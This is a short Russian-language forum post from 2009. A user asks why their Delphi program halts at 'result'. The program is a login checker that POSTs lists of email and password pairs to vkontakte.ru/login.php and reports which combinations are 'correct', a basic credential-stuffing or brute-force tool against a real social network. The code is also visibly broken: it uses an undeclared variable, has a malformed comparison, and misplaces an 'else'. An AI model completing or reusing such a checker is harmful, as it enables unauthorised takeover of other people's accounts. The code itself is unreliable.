09.08.2009, 10:08
|
|
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394
Репутация:
6
|
|
Что не так? останавливаетсяя на result
PHP код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
IdHTTP1: TIdHTTP;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
emails:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
http:TidHTTP;
begin
emails:=TStringList.Create;
pass:=TStringList.Create;
emails.Add('****@mail.ru');
pass.Add('******');
http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result :=http.Post('http://vkontakte.ru/login.php',post);
if pos('',result)>;0 then
ShowMessage('Не правильно ');
///////
//тут будет код
///////
else
ShowMessage('правильно ');
///////
//и тут
//////
end;
end;
emails.Free;
pass.Free;
http.Free;
post.Free;
end.
|
|
|